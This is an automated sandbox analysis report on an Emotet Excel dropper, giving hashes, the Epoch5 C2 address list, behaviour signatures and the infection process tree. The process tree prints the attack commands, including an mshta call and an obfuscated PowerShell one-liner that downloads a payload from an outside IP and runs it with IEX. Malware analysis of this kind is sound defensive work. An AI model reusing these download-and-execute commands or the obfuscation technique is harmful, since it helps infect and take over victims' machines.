Analysis

  • max time kernel
    118s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 03:28

General

  • Target

    6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls

  • Size

    155KB

  • MD5

    877a38825398e9be7d9c3eaea352b392

  • SHA1

    df43374b9233eaa46203a6875a6379d2e3960027

  • SHA256

    6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4

  • SHA512

    3835a242494de6c5b67eb2c586599a7356d1c704e7518f69c51fb4a36d1e6c66bd86f5a94288fad6a98310302481f593348d173260dd6ad5dc535d04fbb8fcdf

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1912
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3612
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3584
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3664
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dphiccsckdmfcd\iezoxllwcy.omf",vDIZ
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1512
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dphiccsckdmfcd\iezoxllwcy.omf",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3264
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3316 -s 1652
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3200

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    709450435568cefded921b40de21446a

    SHA1

    b40851f1f572107372f709d54c16814fed28c2c2

    SHA256

    7b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9

    SHA512

    1563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a

  • \ProgramData\QWER.dll
    MD5

    709450435568cefded921b40de21446a

    SHA1

    b40851f1f572107372f709d54c16814fed28c2c2

    SHA256

    7b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9

    SHA512

    1563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a

  • \ProgramData\QWER.dll
    MD5

    709450435568cefded921b40de21446a

    SHA1

    b40851f1f572107372f709d54c16814fed28c2c2

    SHA256

    7b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9

    SHA512

    1563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a

  • memory/1512-607-0x00000000007B0000-0x00000000007D7000-memory.dmp
    Filesize

    156KB

  • memory/1912-341-0x000001FF338A0000-0x000001FF338DC000-memory.dmp
    Filesize

    240KB

  • memory/1912-360-0x000001FF33DB0000-0x000001FF33E26000-memory.dmp
    Filesize

    472KB

  • memory/1912-504-0x000001FF1B466000-0x000001FF1B468000-memory.dmp
    Filesize

    8KB

  • memory/1912-271-0x000001FF336F0000-0x000001FF33712000-memory.dmp
    Filesize

    136KB

  • memory/1912-295-0x000001FF1B460000-0x000001FF1B462000-memory.dmp
    Filesize

    8KB

  • memory/1912-296-0x000001FF1B463000-0x000001FF1B465000-memory.dmp
    Filesize

    8KB

  • memory/2648-121-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-124-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-132-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp
    Filesize

    64KB

  • memory/2648-131-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp
    Filesize

    64KB

  • memory/2648-120-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-119-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-657-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-656-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-655-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-654-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/2648-118-0x00007FF879910000-0x00007FF879920000-memory.dmp
    Filesize

    64KB

  • memory/3264-622-0x0000000004FB0000-0x0000000004FD7000-memory.dmp
    Filesize

    156KB

  • memory/3264-624-0x00000000050A0000-0x00000000050C7000-memory.dmp
    Filesize

    156KB

  • memory/3264-632-0x00000000054E0000-0x0000000005507000-memory.dmp
    Filesize

    156KB

  • memory/3264-610-0x0000000003080000-0x00000000030A7000-memory.dmp
    Filesize

    156KB

  • memory/3264-612-0x0000000004990000-0x00000000049B7000-memory.dmp
    Filesize

    156KB

  • memory/3264-620-0x0000000004ED0000-0x0000000004EF7000-memory.dmp
    Filesize

    156KB

  • memory/3264-630-0x0000000005460000-0x0000000005487000-memory.dmp
    Filesize

    156KB

  • memory/3264-628-0x0000000005270000-0x0000000005297000-memory.dmp
    Filesize

    156KB

  • memory/3264-626-0x0000000005180000-0x00000000051A7000-memory.dmp
    Filesize

    156KB

  • memory/3664-608-0x00000000058E0000-0x0000000005907000-memory.dmp
    Filesize

    156KB

  • memory/3664-603-0x00000000056A0000-0x00000000056C7000-memory.dmp
    Filesize

    156KB

  • memory/3664-605-0x0000000005700000-0x0000000005727000-memory.dmp
    Filesize

    156KB

  • memory/3664-601-0x0000000005640000-0x0000000005667000-memory.dmp
    Filesize

    156KB

  • memory/3664-599-0x0000000005560000-0x0000000005587000-memory.dmp
    Filesize

    156KB

  • memory/3664-597-0x0000000005480000-0x00000000054A7000-memory.dmp
    Filesize

    156KB

  • memory/3664-594-0x0000000003540000-0x0000000003567000-memory.dmp
    Filesize

    156KB